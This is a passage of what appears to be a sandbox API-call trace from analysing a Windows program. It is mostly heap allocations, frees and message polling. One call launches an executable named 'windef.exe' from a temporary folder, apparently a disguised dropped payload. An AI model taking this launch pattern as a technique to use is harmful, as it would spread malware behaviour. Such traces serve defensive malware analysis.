lpMsg=0xbdf794) returned 0 [0135.717] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeec750 | out: hHeap=0xe80000) returned 1 [0135.717] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0135.717] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf3a8 [0135.717] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf3e8 [0135.717] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0xed7c78 [0135.717] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xed7c78 | out: hHeap=0xe80000) returned 1 [0135.717] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf3e8 | out: hHeap=0xe80000) returned 1 [0135.717] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf3a8 | out: hHeap=0xe80000) returned 1 [0135.717] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0xeecb50 [0135.717] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0135.717] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xeb9b20 [0135.717] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076d90 [0135.717] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf3a8 [0135.717] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf3a8 | out: hHeap=0xe80000) returned 1 [0135.717] CloseHandle (hObject=0x2e4) returned 1 [0135.731] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076d78 | out: hHeap=0xe80000) returned 1 [0135.731] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf338 | out: hHeap=0xe80000) returned 1 [0135.732] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x107f3f8 | out: hHeap=0xe80000) returned 1 [0135.733] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeec950 | out: hHeap=0xe80000) returned 1 [0135.733] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076c88 | out: hHeap=0xe80000) returned 1 [0135.733] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf378 | out: hHeap=0xe80000) returned 1 [0135.733] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeb9eb8 | out: hHeap=0xe80000) returned 1 [0135.733] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076d90 | out: hHeap=0xe80000) returned 1 [0135.733] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeb9b20 | out: hHeap=0xe80000) returned 1 [0135.734] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0135.734] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeecb50 | out: hHeap=0xe80000) returned 1 [0135.734] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeec910 | out: hHeap=0xe80000) returned 1 [0135.734] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0135.734] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf3a8 [0135.734] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf3f8 [0135.734] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0xed7c78 [0135.734] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xed7c78 | out: hHeap=0xe80000) returned 1 [0135.735] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf3f8 | out: hHeap=0xe80000) returned 1 [0135.735] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf3a8 | out: hHeap=0xe80000) returned 1 [0135.735] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0xeec5d0 [0135.735] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0135.735] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf3a8 [0135.735] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf378 [0135.735] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0xed7c78 [0135.735] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xed7c78 | out: hHeap=0xe80000) returned 1 [0135.735] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf378 | out: hHeap=0xe80000) returned 1 [0135.735] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf3a8 | out: hHeap=0xe80000) returned 1 [0135.735] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0xeec450 [0135.735] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0135.735] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xeb9e40 [0135.735] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076d78 [0135.735] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf338 [0135.735] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076b68 [0135.735] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf378 [0135.735] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0xed7c78 [0135.735] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076c58 [0135.735] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf3a8 [0135.735] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x50) returned 0x104a988 [0135.736] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076c58 | out: hHeap=0xe80000) returned 1 [0135.736] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076b80 [0135.736] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0xc0) returned 0xefc430 [0135.736] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x104a988 | out: hHeap=0xe80000) returned 1 [0135.736] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076b80 | out: hHeap=0xe80000) returned 1 [0135.736] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xed7c78 | out: hHeap=0xe80000) returned 1 [0135.736] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf378 | out: hHeap=0xe80000) returned 1 [0135.736] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf338 | out: hHeap=0xe80000) returned 1 [0135.736] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076c58 [0135.736] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf2c8 [0135.736] ShellExecuteExW (in: pExecInfo=0xbdf620*(cbSize=0x3c, fMask=0x40, hwnd=0x0, lpVerb="", lpFile="C:\\Users\\RDHJ0C~1\\AppData\\Local\\Temp\\windef.exe", lpParameters=0x0, lpDirectory=0x0, nShow=1, hInstApp=0x0, lpIDList=0x0, lpClass=0x0, hkeyClass=0x0, dwHotKey=0x0, hIcon=0x0, hMonitor=0x0, hProcess=0x0) | out: pExecInfo=0xbdf620*(cbSize=0x3c, fMask=0x40, hwnd=0x0, lpVerb="", lpFile="C:\\Users\\RDHJ0C~1\\AppData\\Local\\Temp\\windef.exe", lpParameters=0x0, lpDirectory=0x0, nShow=1, hInstApp=0x2a, lpIDList=0x0, lpClass=0x0, hkeyClass=0x0, dwHotKey=0x0, hIcon=0x0, hMonitor=0x0, hProcess=0x398)) returned 1 [0135.865] GetProcessId (Process=0x398) returned 0x27c [0135.865] CloseHandle (hObject=0x398) returned 1 [0135.865] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076c58 | out: hHeap=0xe80000) returned 1 [0135.865] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf2c8 | out: hHeap=0xe80000) returned 1 [0135.866] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xefc430 | out: hHeap=0xe80000) returned 1 [0135.866] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf3a8 | out: hHeap=0xe80000) returned 1 [0135.866] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076b68 | out: hHeap=0xe80000) returned 1 [0135.866] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076d78 | out: hHeap=0xe80000) returned 1 [0135.867] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeb9e40 | out: hHeap=0xe80000) returned 1 [0135.867] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0135.867] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeec450 | out: hHeap=0xe80000) returned 1 [0135.867] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0135.868] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeec5d0 | out: hHeap=0xe80000) returned 1 [0135.868] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0135.868] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xed2b50 | out: hHeap=0xe80000) returned 1 [0135.868] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076da8 | out: hHeap=0xe80000) returned 1 [0135.868] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076c28 | out: hHeap=0xe80000) returned 1 [0135.868] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf408 | out: hHeap=0xe80000) returned 1 [0135.869] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xec17a8 | out: hHeap=0xe80000) returned 1 [0135.874] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x110c400 | out: hHeap=0xe80000) returned 1 [0135.881] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf3c8 | out: hHeap=0xe80000) returned 1 [0135.881] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076ac0 | out: hHeap=0xe80000) returned 1 [0135.881] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076c40 | out: hHeap=0xe80000) returned 1 [0135.881] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf428 | out: hHeap=0xe80000) returned 1 [0135.882] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xec17d0 | out: hHeap=0xe80000) returned 1 [0135.882] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076940 | out: hHeap=0xe80000) returned 1 [0135.882] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076928 | out: hHeap=0xe80000) returned 1 [0135.882] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf2b8 | out: hHeap=0xe80000) returned 1 [0135.882] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xec1528 | out: hHeap=0xe80000) returned 1 [0135.883] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076c10 | out: hHeap=0xe80000) returned 1 [0135.883] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xec18e8 | out: hHeap=0xe80000) returned 1 [0135.883] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0135.883] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf2b8 [0135.883] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20a) returned 0xecd888 [0135.883] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf308 [0135.883] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076a90 [0135.884] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0135.884] CharUpperBuffW (in: lpsz="MWMQWLZFSVGLEKEBWPKTQCNGY", cchLength=0x19 | out: lpsz="MWMQWLZFSVGLEKEBWPKTQCNGY") returned 0x19 [0135.888] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0135.888] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0135.888] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0135.888] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0135.888] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0135.888] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0135.888] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0135.888] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0135.888] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0135.888] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0135.888] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0135.888] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0135.889] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0135.889] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0135.889] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0135.889] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0135.889] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0135.889] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0135.889] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0135.889] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0135.889] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0135.889] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0135.889] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0135.889] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0135.889] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0135.889] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0135.889] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0135.889] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0135.889] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0135.890] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0135.890] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0135.890] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0135.890] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0135.890] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0135.890] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0135.890] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0135.890] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0135.890] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0135.890] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0135.890] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0135.890] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0135.890] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0135.890] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0135.890] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0135.890] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0135.891] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0135.891] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0135.891] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0135.891] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0135.891] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0135.891] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0135.891] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0135.891] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0135.891] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0135.891] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0135.891] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0135.891] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0135.891] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0135.891] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0135.891] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0135.891] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0135.891] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0135.892] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0135.892] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0135.892] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0135.892] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0135.892] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0135.892] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0135.892] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0135.892] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0135.892] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0135.892] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0135.892] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0135.892] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0135.892] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0135.892] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0135.892] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0135.892] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0135.892] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0135.893] 